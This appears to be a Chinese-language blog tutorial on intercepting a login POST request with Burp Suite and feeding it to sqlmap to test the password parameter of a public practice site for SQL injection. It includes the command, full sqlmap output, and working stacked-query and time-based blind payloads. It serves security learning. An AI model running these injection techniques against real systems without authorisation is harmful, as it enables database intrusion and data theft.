1. 浏览器打开目标地址 http://testasp.vulnweb.com/Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 如下图,这时候Burp会拦截到了我们的登录POST请求

5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。

./sqlmap.py -r search-test.txt -p tfUPass

sqlmap/0.9 - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[*] starting at: 13:26:52

[13:26:52] [INFO] parsing HTTP request from 'search-test.txt'
[13:26:52] [WARNING] the testable parameter 'tfUPass' you provided is not into the GET
[13:26:52] [WARNING] the testable parameter 'tfUPass' you provided is not into the Cookie
[13:26:52] [INFO] using '/home/testuser/sqlmap/output/testasp.vulnweb.com/session' as session file
[13:26:52] [INFO] resuming injection data from session file
[13:26:52] [WARNING] there is an injection in POST parameter 'tfUName' but you did not provided it this time
[13:26:52] [INFO] testing connection to the target url
[13:26:53] [INFO] testing if the url is stable, wait a few seconds
[13:26:55] [INFO] url is stable
[13:26:55] [WARNING] heuristic test shows that POST parameter 'tfUPass' might not be injectable
[13:26:55] [INFO] testing sql injection on POST parameter 'tfUPass'
[13:26:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:27:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[13:27:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:27:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[13:27:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[13:27:12] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:27:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:27:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:27:30] [INFO] POST parameter 'tfUPass' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[13:27:30] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:27:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:27:31] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[13:27:42] [INFO] POST parameter 'tfUPass' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[13:27:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:27:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:27:48] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
sqlmap got a 302 redirect to /Search.asp - What target address do you want to use from now on? http://testasp.vulnweb.com:80/Login.asp (default) or provide another target address based also on the redirection got from the application >
[13:27:58] [INFO] target url appears to be UNION injectable with 2 columns
POST parameter 'tfUPass' is vulnerable. Do you want to keep testing the others? [y/N] N
sqlmap identified the following injection points with a total of 68 HTTP(s) requests:
---
Place: POST
Parameter: tfUPass
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: tfUName=test&tfUPass=test'; WAITFOR DELAY '0:0:5';-- AND 'mPfC'='mPfC Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: tfUName=test&tfUPass=test' WAITFOR DELAY '0:0:5'-- AND 'wpkc'='wpkc
--- [13:28:08] [INFO] testing MySQL
[13:28:09] [WARNING] the back-end DBMS is not MySQL
[13:28:09] [INFO] testing Oracle
[13:28:10] [WARNING] the back-end DBMS is not Oracle
[13:28:10] [INFO] testing PostgreSQL
[13:28:10] [WARNING] the back-end DBMS is not PostgreSQL
[13:28:10] [INFO] testing Microsoft SQL Server
[13:28:16] [INFO] confirming Microsoft SQL Server
[13:28:28] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[13:28:28] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 42 times
[13:28:28] [INFO] Fetched data logged to text files under '/home/testuser/sqlmap/output/testasp.vulnweb.com'

sqlmap结合burpsuite对post请求进行注入测试的更多相关文章

  1. sqlmap和burpsuite绕过csrf token进行SQL注入检测

    利用sqlmap和burpsuite绕过csrf token进行SQL注入 转载请注明来源:http://www.cnblogs.com/phoenix--/archive/2013/04/12/30 ...

  2. 利用sqlmap和burpsuite绕过csrf token进行SQL注入 (转)

    问题:post方式的注入验证时遇到了csrf token的阻止,原因是csrf是一次性的,失效导致无法测试. 解决方案:Sqlmap配合burpsuite,以下为详细过程,参照国外牛人的blog(不过 ...

  3. 通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

    0x1 工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2 步骤说明 ...

  4. Sql注入测试--Sqlmap

    慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...

  5. 4.羽翼sqlmap学习笔记之Post登录框注入

    4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...

  6. 踩坑记录:spring boot的POST请求数据注入不了的问题

    概述: 今天在使用spring boot框架的时候,踩了一个坑,是关于control层request body依赖注入的问题的,内容如下: 进过: 由于目前公司采用的系统架构,要求把springboo ...

  7. 【spring源码学习】springMVC之映射,拦截器解析,请求数据注入解析,DispatcherServlet执行过程

    [一]springMVC之url和bean映射原理和源码解析 映射基本过程 (1)springMVC配置映射,需要在xml配置文件中配置<mvc:annotation-driven >  ...

  8. java web sql注入测试(1)---概念概述

    在进行java web 测试时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,虽然不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还 ...

  9. sql注入测试(1)---概念概述

    在进行java web 测试时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,虽然不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还 ...

随机推荐

  1. spring基于xml的事务控制

    opm配置 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http: ...

  2. OpenGL学习——搭建OpenGL运行环境——生成一个空白视口——基于GLFW&GLEW

    最近学习OpenGL,读OpenGL宝典一头蒙,各种gl函数不知所云.逐决定先搭OpenGL运行环境,详细如下. 1.首先OpenGL是什么?是一个标准规范,是一个巨大的状态机,并无具体实现,大多数实 ...

  3. SharpZipLib 文件/文件夹 过滤

    这里就不说压缩/解压了.网上教程太多. 主要说一下,解压时,如何过滤某些文件/文件夹 参考地址:https://github.com/icsharpcode/SharpZipLib/wiki/Fast ...

  4. OpenCV的安装与配置

    1.去官网下载opencv,在本教程中选用的时opencv3.4.1,其他版本的配置方法异曲同工.下载链接http://opencv.org/releases.html,选择sources版本 2.解 ...

  5. transform:translate(-50%,-50%)

    和父亲元素没关系,走自己盒子宽度一半

  6. RMQ区间求最值

    RMQ用于区间快速查找最值,适用于期间数值无更改的情况.其预处理的复杂度为O(nlogn),查询的时间复杂度为O(1),对比于线段树的预处理O(nlogn),查询O(logn)来说,在某些情况下有着其 ...

  7. Delphi GDI+ 安装方法

    [转]Delphi GDI+ 安装方法转自:万一博客(http://www.cnblogs.com/del/)GDI+ 是 Windows 的一个函数库, 来自 Windows\System32\GD ...

  8. idea整合springboot,访问templates下html资源问题

    1.pom.xml文件中要引入themyleaf 2.在application.properties文件中加入 #拼接html前后缀spring.resources.static-locations= ...

  9. 【前端控件】JQuery datepicker 日期控件设置

    datepicker控件可通过参数设置进行语言切换,以下可实现,系统所有日期控件默认为中文,在特定页面或者特定条件下可切换成英语!~ HTML: <!DOCTYPE html> <h ...

  10. hive元数据格式化 在hive中执行sql语句:SemanticException org.apache.hadoop.hive.ql.metadata.HiveException:

    https://blog.csdn.net/xiaoqiu_cr/article/details/80913437